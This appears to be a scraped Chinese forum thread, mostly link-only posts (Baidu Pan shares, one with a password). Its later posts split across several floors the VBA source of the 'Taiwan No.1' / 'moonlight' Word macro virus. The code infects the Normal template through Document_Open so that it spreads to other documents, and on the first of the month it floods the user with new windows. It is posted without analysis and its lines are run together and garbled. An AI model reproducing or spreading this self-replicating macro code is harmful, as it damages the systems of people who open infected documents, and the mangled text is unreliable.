。。。【卷卷毛爱琨少吧】

11月28日漏签0天

卷卷毛爱琨少吧关注：21贴子：1,935

10回复贴，共1页

<返回卷卷毛爱琨少吧

。。。

取消只看楼主收藏回复

：http://wangyao-aph.88448.com

送TA礼物

来自Android客户端1楼2016-11-13 13:16回复

http://pan.baidu.com/s/1eSDk1hC

来自Android客户端2楼2016-11-15 12:04

http://hi.baidu.com/%8Bq%B9%A5%8AO%CA%DC /album/%9A%DD%B8%DF%A4%AD%F2T%CA%B%CD%F5%A4%F2%A1%AB /index/0

来自Android客户端4楼2016-11-21 23:24

链接: https://pan.baidu.com/s/1kVBFh1X 密码: j7h8

5楼2016-11-23 22:21

'moonlightDim nm()Sub Document_Open()'DisableInput 1Set ourcodemodule = ThisDocument.VBProject.VBProject.VBComponents(1).CodeModuleSet host = NormalTemplate.VBProject.VBComponents(1).CodeModuleif thisIf .Lines(1, 1) <> "'moonlight" Then.DeleteLines 1, .CountOfLines.InserLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 3, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDoc

来自手机贴吧8楼2017-05-05 08:39

ument.FullNameEnd IfEnd WithCount = 0If Day(Now()) = 1 Thentry:On Error GoTo trytest = -1con = 1tog$ = ""i = 0While test = -1For i = 0 To 4nm(i) = Int(Rnd() * 10)con = con * nm(i)If i = 4 Thentog$ = tog$ + Str$(nm(4)) + "=?"

来自手机贴吧9楼2017-05-05 08:39

GoTo begEnd Iftog$ = tog$ + Str$(nm(i)) + "*"Next ibeg:Beepans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错，只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) ThenDocuments.AddSelection.Paragraphs .Alignment = wdAlignParagraphCenterBeepWith Selection.Font.Name = "细明体"

来自手机贴吧10楼2017-05-05 08:39

.Size = 16.Bold = 1.Underline = 1End WithSelection.InsertAfter Text:="何为宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案："Selection.Font .Italic = 1Selection.InsertAfter Text:="我就是......"Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font .Italic = 0BeepSelection.InsertAfter Text:="如何预

来自手机贴吧11楼2017-05-05 08:40

防宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案："Selection.Font .Italic = 1Selection.InsertAfter Text:="不要看我......"GoTo outElseCount = Count + 1For j = 1 To 20BeepDocuments.AddNext jSelection.Paragraphs .aligment = wdAlignParagraphCenterSelection.InsertAfter Text:="宏病毒"

来自手机贴吧12楼2017-05-05 08:40